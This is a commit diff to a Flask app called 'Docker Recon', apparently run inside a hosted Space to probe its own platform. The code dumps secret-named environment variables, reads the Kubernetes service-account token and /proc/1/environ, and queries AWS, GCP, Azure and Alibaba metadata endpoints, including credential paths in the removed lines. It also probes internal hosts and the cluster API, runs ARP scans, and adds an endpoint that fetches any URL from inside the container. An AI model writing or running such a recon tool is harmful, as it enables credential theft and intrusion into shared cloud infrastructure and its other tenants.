Add verbose metadata probing, fetch endpoint, ARP scan

app.py

@@ -1,11 +1,11 @@
 import os, subprocess, json, socket
-from flask import Flask, jsonify
+from flask import Flask, jsonify, request
 
 app = Flask(__name__)
 
 @app.route("/")
 def index():
-    return "<h1>Docker Recon</h1><ul><li><a href='/env'>Env Vars</a></li><li><a href='/metadata'>Cloud Metadata</a></li><li><a href='/k8s'>K8s</a></li><li><a href='/net'>Network</a></li><li><a href='/proc'>Processes</a></li><li><a href='/dns'>DNS</a></li></ul>"
+    return "<h1>Docker Recon</h1><ul><li><a href='/env'>Env</a></li><li><a href='/meta1'>AWS Meta v1</a></li><li><a href='/meta2'>AWS Meta v2</a></li><li><a href='/ping_meta'>Ping Meta</a></li><li><a href='/k8s'>K8s</a></li><li><a href='/net'>Net</a></li><li><a href='/proc'>Proc</a></li><li><a href='/dns'>DNS</a></li><li><a href='/arp'>ARP</a></li><li><a href='/fetch?url=http://example.com'>Fetch URL</a></li></ul>"
 
 @app.route("/env")
 def env():
@@ -13,16 +13,10 @@ def env():
     r["all_env"] = {k:v for k,v in sorted(os.environ.items())
         if any(x in k.upper() for x in ["TOKEN","KEY","SECRET","AWS","HF_","SPACE_","KUBE","DOCKER","API","GOOGLE","AZURE","CRED","PASSWORD","MONGO","REDIS","DATABASE","SERVICE"])}
     r["all_env_keys"] = sorted(os.environ.keys())
-    # Check for SA token
     try:
         with open("/var/run/secrets/kubernetes.io/serviceaccount/token") as f:
             r["k8s_sa_token"] = f.read()[:100] + "..."
     except: r["k8s_sa_token"] = "not found"
-    try:
-        with open("/var/run/secrets/kubernetes.io/serviceaccount/namespace") as f:
-            r["k8s_namespace"] = f.read()
-    except: r["k8s_namespace"] = "not found"
-    # /proc/1/environ
     try:
         with open("/proc/1/environ", "rb") as f:
             envs = f.read().decode("utf-8", errors="replace").split("\0")
@@ -30,101 +24,96 @@ def env():
     except Exception as e: r["proc1_env"] = str(e)
     return jsonify(r)
 
-@app.route("/metadata")
-def metadata():
+@app.route("/meta1")
+def meta1():
+    """IMDSv1 only"""
     r = {}
-    urls = [
-        ("imdsv1", "http://169.254.169.254/latest/meta-data/"),
-        ("imdsv1_iam", "http://169.254.169.254/latest/meta-data/iam/security-credentials/"),
-        ("imdsv1_userdata", "http://169.254.169.254/latest/user-data"),
-        ("imdsv1_identity", "http://169.254.169.254/latest/dynamic/instance-identity/document"),
-        ("gcp", "http://metadata.google.internal/computeMetadata/v1/"),
-        ("azure", "http://169.254.169.254/metadata/instance?api-version=2021-02-01"),
-        ("alibaba", "http://100.100.100.200/latest/meta-data/"),
-    ]
-    for name, url in urls:
-        try:
-            headers = []
-            if "google" in url: headers = ["-H", "Metadata-Flavor: Google"]
-            if "azure" in url: headers = ["-H", "Metadata: true"]
-            cmd = ["curl", "-s", "-m", "3"] + headers + [url]
-            p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
-            r[name] = {"stdout": p.stdout[:500], "stderr": p.stderr[:200], "rc": p.returncode}
-        except Exception as e: r[name] = str(e)
-    # IMDSv2 token attempt
-    try:
-        p = subprocess.run(["curl", "-s", "-m", "3", "-X", "PUT",
+    try:
+        p = subprocess.run(["curl", "-sv", "-m", "5", "http://169.254.169.254/latest/meta-data/"],
+            capture_output=True, text=True, timeout=8)
+        r["stdout"] = p.stdout[:1000]
+        r["stderr"] = p.stderr[:1000]
+        r["rc"] = p.returncode
+    except Exception as e: r["error"] = str(e)
+    return jsonify(r)
+
+@app.route("/meta2")
+def meta2():
+    """IMDSv2 token + metadata"""
+    r = {}
+    try:
+        p = subprocess.run(["curl", "-sv", "-m", "5", "-X", "PUT",
             "http://169.254.169.254/latest/api/token",
             "-H", "X-aws-ec2-metadata-token-ttl-seconds: 21600"],
-            capture_output=True, text=True, timeout=5)
+            capture_output=True, text=True, timeout=8)
+        r["token_stdout"] = p.stdout[:200]
+        r["token_stderr"] = p.stderr[:500]
+        r["token_rc"] = p.returncode
         token = p.stdout.strip()
-        r["imdsv2_token"] = {"stdout": token[:100], "rc": p.returncode}
-        if token:
-            p2 = subprocess.run(["curl", "-s", "-m", "3",
+        if token and p.returncode == 0:
+            p2 = subprocess.run(["curl", "-sv", "-m", "5",
                 "-H", f"X-aws-ec2-metadata-token: {token}",
                 "http://169.254.169.254/latest/meta-data/"],
-                capture_output=True, text=True, timeout=5)
-            r["imdsv2_meta"] = {"stdout": p2.stdout[:500], "rc": p2.returncode}
-    except Exception as e: r["imdsv2"] = str(e)
+                capture_output=True, text=True, timeout=8)
+            r["meta_stdout"] = p2.stdout[:1000]
+            r["meta_stderr"] = p2.stderr[:500]
+    except Exception as e: r["error"] = str(e)
+    return jsonify(r)
+
+@app.route("/ping_meta")
+def ping_meta():
+    """Ping and traceroute to metadata"""
+    r = {}
+    try:
+        p = subprocess.run(["ping", "-c", "2", "-W", "2", "169.254.169.254"],
+            capture_output=True, text=True, timeout=8)
+        r["ping"] = {"stdout": p.stdout, "stderr": p.stderr, "rc": p.returncode}
+    except Exception as e: r["ping"] = str(e)
+    # ARP check
+    try:
+        p = subprocess.run(["arp", "-n"], capture_output=True, text=True, timeout=5)
+        r["arp"] = p.stdout[:500]
+    except: pass
+    # Route to metadata
+    try:
+        p = subprocess.run(["ip", "route", "get", "169.254.169.254"],
+            capture_output=True, text=True, timeout=5)
+        r["route"] = p.stdout
+    except: pass
     return jsonify(r)
 
 @app.route("/k8s")
 def k8s():
     r = {}
-    # K8s API via env
     k8s_host = os.environ.get("KUBERNETES_SERVICE_HOST", "")
     k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT", "")
     r["k8s_env"] = {"host": k8s_host, "port": k8s_port}
     if k8s_host:
-        for path in ["/api", "/api/v1/namespaces", "/api/v1/pods", "/api/v1/secrets",
-                      "/apis", "/version", "/healthz", "/api/v1/nodes"]:
+        for path in ["/version", "/healthz", "/api"]:
             try:
-                cmd = ["curl", "-s", "-m", "3", "-k", f"https://{k8s_host}:{k8s_port}{path}"]
-                # Try with SA token if exists
-                try:
-                    with open("/var/run/secrets/kubernetes.io/serviceaccount/token") as f:
-                        token = f.read().strip()
-                    cmd += ["-H", f"Authorization: Bearer {token}"]
-                except: pass
+                cmd = ["curl", "-sv", "-m", "3", "-k", f"https://{k8s_host}:{k8s_port}{path}"]
                 p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
-                r[f"k8s{path}"] = {"stdout": p.stdout[:300], "rc": p.returncode}
+                r[f"k8s{path}"] = {"stdout": p.stdout[:300], "stderr": p.stderr[:300], "rc": p.returncode}
             except Exception as e: r[f"k8s{path}"] = str(e)
     return jsonify(r)
 
 @app.route("/net")
 def net():
     r = {}
-    # Network interfaces
     try:
         p = subprocess.run(["ip", "addr"], capture_output=True, text=True, timeout=5)
         r["ip_addr"] = p.stdout[:1000]
     except: pass
-    # Routes
     try:
         p = subprocess.run(["ip", "route"], capture_output=True, text=True, timeout=5)
         r["ip_route"] = p.stdout[:500]
     except: pass
-    # resolv.conf
     try:
         with open("/etc/resolv.conf") as f: r["resolv"] = f.read()
     except: pass
-    # hosts
     try:
         with open("/etc/hosts") as f: r["hosts"] = f.read()
     except: pass
-    # Probe internal services (quick, no nmap)
-    for target in ["cas-server.xethub.hf.co", "10.0.0.1", "10.108.0.1", "10.108.0.2"]:
-        try:
-            p = subprocess.run(["curl", "-s", "-m", "2", f"http://{target}/"],
-                capture_output=True, text=True, timeout=4)
-            r[f"probe_{target}"] = {"stdout": p.stdout[:200], "rc": p.returncode}
-        except Exception as e: r[f"probe_{target}"] = str(e)
-    # Try reaching other Spaces
-    try:
-        p = subprocess.run(["curl", "-s", "-m", "3", "http://localhost:7860/"],
-            capture_output=True, text=True, timeout=5)
-        r["localhost_7860"] = p.stdout[:200]
-    except: pass
     return jsonify(r)
 
 @app.route("/proc")
@@ -134,29 +123,24 @@ def proc():
         p = subprocess.run(["ps", "aux"], capture_output=True, text=True, timeout=5)
         r["ps"] = p.stdout[:2000]
     except: pass
-    # Mounts
-    try:
-        with open("/proc/mounts") as f: r["mounts"] = f.read()[:2000]
-    except: pass
-    # Cgroups
     try:
         with open("/proc/1/cgroup") as f: r["cgroup"] = f.read()[:500]
     except: pass
-    # Capabilities
     try:
         p = subprocess.run(["cat", "/proc/1/status"], capture_output=True, text=True, timeout=5)
         for line in p.stdout.split("\n"):
             if "Cap" in line: r.setdefault("caps", []).append(line.strip())
     except: pass
-    # Check if we're privileged
-    try:
-        p = subprocess.run(["whoami"], capture_output=True, text=True, timeout=5)
-        r["whoami"] = p.stdout.strip()
-    except: pass
     try:
         p = subprocess.run(["id"], capture_output=True, text=True, timeout=5)
         r["id"] = p.stdout.strip()
     except: pass
+    # Check seccomp
+    try:
+        with open("/proc/1/status") as f:
+            for line in f:
+                if "Seccomp" in line: r["seccomp"] = line.strip()
+    except: pass
     return jsonify(r)
 
 @app.route("/dns")
@@ -164,27 +148,49 @@ def dns():
     r = {}
     queries = [
         "kubernetes.default.svc.cluster.local",
-        "kube-dns.kube-system.svc.cluster.local",
-        "*.default.svc.cluster.local",
-        "*.svc.cluster.local",
-        "hub.internal",
-        "mongo.internal",
-        "redis.internal",
-        "postgres.internal",
-        "api.internal",
         "cas-server.xethub.hf.co",
+        "hub.huggingface.co",
     ]
     for q in queries:
         try:
             p = subprocess.run(["dig", "+short", q], capture_output=True, text=True, timeout=5)
             r[q] = p.stdout.strip() if p.stdout.strip() else "NXDOMAIN"
         except Exception as e: r[q] = str(e)
-    # Reverse DNS on known IPs
-    for ip in ["10.108.0.1", "10.108.0.2"]:
-        try:
-            p = subprocess.run(["dig", "+short", "-x", ip], capture_output=True, text=True, timeout=5)
-            r[f"rev_{ip}"] = p.stdout.strip() if p.stdout.strip() else "no PTR"
-        except Exception as e: r[f"rev_{ip}"] = str(e)
+    # Reverse DNS on gateway
+    try:
+        p = subprocess.run(["dig", "+short", "-x", "169.254.1.1"], capture_output=True, text=True, timeout=5)
+        r["rev_169.254.1.1"] = p.stdout.strip() if p.stdout.strip() else "no PTR"
+    except: pass
+    return jsonify(r)
+
+@app.route("/arp")
+def arp():
+    """ARP scan using CAP_NET_RAW"""
+    r = {}
+    try:
+        p = subprocess.run(["arp", "-n"], capture_output=True, text=True, timeout=5)
+        r["arp_table"] = p.stdout
+    except: pass
+    # Try arping the gateway
+    try:
+        p = subprocess.run(["arping", "-c", "1", "-w", "2", "169.254.1.1"],
+            capture_output=True, text=True, timeout=5)
+        r["arping_gw"] = {"stdout": p.stdout, "rc": p.returncode}
+    except Exception as e: r["arping_gw"] = str(e)
+    return jsonify(r)
+
+@app.route("/fetch")
+def fetch():
+    """Fetch arbitrary URL from inside the Space"""
+    url = request.args.get("url", "http://example.com")
+    r = {}
+    try:
+        p = subprocess.run(["curl", "-sv", "-m", "5", url],
+            capture_output=True, text=True, timeout=8)
+        r["stdout"] = p.stdout[:2000]
+        r["stderr"] = p.stderr[:1000]
+        r["rc"] = p.returncode
+    except Exception as e: r["error"] = str(e)
     return jsonify(r)
 
 if __name__ == "__main__":